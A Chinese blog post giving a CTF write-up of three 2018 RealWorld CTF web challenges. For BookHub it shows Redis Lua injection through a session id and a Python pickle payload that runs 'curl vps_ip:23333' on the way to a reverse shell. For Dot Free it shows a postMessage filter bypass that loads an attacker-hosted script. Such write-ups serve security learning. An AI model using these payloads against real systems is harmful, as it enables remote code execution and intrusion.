sky's blog

2018 RealWorld Web Writeup

字数统计: 2,246阅读时长: 10 min
2018/08/17 Share
1
文章首发在 https://www.anquanke.com/post/id/153259

前言

恰逢暑假,听说长亭科技出题,于是兴致勃勃参赛,结果被虐到自闭
好在中途有巨佬指点,得以存活,故此写下writeup,感慨一下自己有多菜


题目打开有点迷,没有任何东西
下意识的进行文件泄露探测

1
https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip

得到flag

BookHub


拿到题目后发现有源码泄露

1
http://52.52.4.252:8080/www.zip

下载下来后发现是flask框架写的
简单浏览了一下路由
发现大部分功能都是

1
@login_required

所以先尝试登陆

1
http://52.52.4.252:8080/login

随手尝试一下,发现

于是去跟过滤

1
2
3
4
5
6
7
8
9
10
@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
form = LoginForm(data=flask.request.data)
if form.validate_on_submit():
user = User.query.filter_by(username=form.username.data).first()
login_user(user, remember=form.remember_me.data)

return flask.redirect(flask.url_for('book.admin'))

return flask.render_template('login.html', form=form)

跟到LoginForm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)

def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1')

# If you are in the debug mode or from office network (developer)
if not app.debug and not ip_address_in(address, whitelist):
raise StopValidation(f'your ip address isn\'t in the {whitelist}.')

user = User.query.filter_by(username=self.username.data).first()
if not user or not user.check_password(field.data):
raise StopValidation('Username or password error.')

再跟到get_remote_addr()

1
2
3
4
5
6
7
8
9
def get_remote_addr():
address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)

try:
ipaddress.ip_address(address)
except ValueError:
return None
else:
return address

发现address来自于X-Forwarded-For,若不存在则来自于remote_addr
那么应该是可以使用XFF伪造ip了
我们本地测试一下


发现是可以伪造的,然而题目却怎么也不行= =(不知道什么鬼)
绝望之际,发现白名单中有一个公网ip

1
18.213.16.123

直接打开,是没有http服务的,随手测试了flask的默认端口,有点意思

原来这才是真正的大坑,这里网站直接跑在了debug模式
迅速去看代码里的

1
if app.debug:

发现

1
2
3
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():

我们尝试这个路由

添加csrf_token

发现refresh_session()竟然存在未授权访问
(至于为什么@login_required写了还能未授权访问?大概是因为@login_required写在上面了,仔细观察,别的都写在user_blueprint.route下面)
关注到后续代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']

if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end

return false
end

local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")

for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
app.logger.exception(e)
status = 'fail'

这里明显使用了redis lua,看来是要在session上做文章了
我们发现代码中具有可控点sessionid
并且这里存在严重拼接问题
例如

我们可以闭合双引号,并引入恶意代码,让redis去执行
(注:f是python3.6的新特性,在2018MeePwnCTF曾出现过一道使用该特性的题目,不再赘述)
我们观察到构造方法

1
local inputs = {{ "{prefix}{sessionid}" }}

跟一下

1
prefix = app.config['SESSION_KEY_PREFIX']

发现

1
app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'

于是即可构造:

1
6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool


代码拼接后变成

1
2
$python3 main.py
{ "bookhub:session:6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool" }

显而易见,下面我们只需要思考构造redis evilcode即可
这里参考ph的两篇文章(当然要参考出题人写过的文章呀XD)

1
2
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html

其中ph的两篇文章分别有提到:


23333越看越像这道题
既然如此,我们可以给自己构造的一个session赋反弹shell的值,于是构造如下evilcode

1
redis.call("set","bookhub:session:skycool",反弹shell)

打完之后将自己的session改为skycool,刷新反弹shell即可
那么开始实操,我们先尝试一下curl

生成反弹shell payload代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import cPickle
import os

class exp(object):
def __reduce__(self):
s = """curl vps_ip:23333"""
return (os.system,(s,))

e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:skycool",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool
'''%evilcode
print payload.replace(" ","")

然后



然后去登录
发现自己的vps收到访问

此时眼泪哗的一下流了下来
同理反弹shell即可

Dot Free


题目乍一看仿佛是SSRF
于是我进行了一些测试,发现ip2long:

是可以请求的,但是我尝试了自己的vps,根本收不到请求
在迷茫之际,发现源代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}

相当可疑
于是我查阅了一下postMessage

1
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

发现

于是这进一步确实了我的想法
既然确定了问题点,那么肯定是构造payload进行测试
首先确定payload的输入点

1
decodeURIComponent(location.search.substr(1))


1
2
3
4
5
6
7
8
9
window.location
window的location对象

search
得到的是url中?部分

substr()
返回一个从指定位置开始的指定长度的子字符串
这里设置为1,是为了把url中的?号去掉

于是可以确定format为

1
http://13.57.104.34/?payload

然后是JSON.parse
说明要传入一个json_encode
那么根据题目的意图

1
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object'))

我们肯定是要bypass这段的,但是我们希望我们构造的payload是可以成功打到自己vps的
但是//不能使用,于是想到

1
http:/\

这样的Bypass
并且不能使用dot,我们还是选择ip2long
然后进入if..else后
我们肯定希望程序进入

1
2
3
else {
lls(e.data.iframe.value)
}

因为

1
2
3
4
5
6
7
8
function lls(src) {
var el = document.createElement('script');
if (el) {
el.setAttribute('type', 'text/javascript');
el.src = src;
document.body.appendChild(el);
}
};

这样可以把我们的src添加到document.body
即可触发恶意操作
于是构造

尝试

1
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\\2130706433:23333%22}}

发现收到回显

下一步一气呵成
在自己的index.html中写入

然后再请求

1
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\\2130706433%22}}

即可收到

PrintMD


题目有唯一一个功能

我们访问这个文档

可以知道:该功能可以渲染hackmd.io的markdown文档,并把它解析打在html前端上
然后flag在根目录
这里想到,应该是有任意文件读取的漏洞,或者直接可以getshell
结合之前的知识,解析的时候或许会存在xxe,或者模板渲染等问题
但是先不管这么多,先简单测试一下
我们再hackmd.io上写一个文档

然后让该网站去请求并print

1
http://54.183.55.10/print?url=https%3A%2F%2Fhackmd.io%2FLRDMccAHSKqSPhuayRXeBA


发现xss成功
但是该网站并不存在明显的管理员后台,或是需要攻击的cookie,所以XSS这里暂且搁置
接着我在想,是否可能是该网站接受hackmd.io提供文档内容的接口的时候引发了漏洞?
这里就需要先探究一下hackmd.io提供文档内容的接口提供的内容格式
后来发现了hackmd.io的文档内容下载接口:

1
https://hackmd.io/xxxx/download

我们下载刚写的文件

1
https://hackmd.io/LRDMccAHSKqSPhuayRXeBA/download

发现下载文件是

并不是我想象中的xml
那么是否是后台解析markdown语法的时候可能存在漏洞?或者是渲染成html的时候有模板注入?
这时候我去关注了一下该网站的开发框架,发现是:Nuxt.js通用应用框架
Nuxt.js 是一个基于 Vue.js 的通用应用框架,它是使用 Webpack 和 Node.js 进行封装的基于Vue的SSR框架,使用它,可以不需要自己搭建一套SSR程序,而是通过其约定好的文件结构和API就可以实现一个首屏渲染的Web应用。
搜索一下是否存在公开漏洞,发现无果,此题搁置

后记

跪膜巨佬1小时日2道web XD,我还是太年轻了,尽走弯路= =

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Advertisement
  3. 3. BookHub
  4. 4. Dot Free
  5. 5. PrintMD
  6. 6. 后记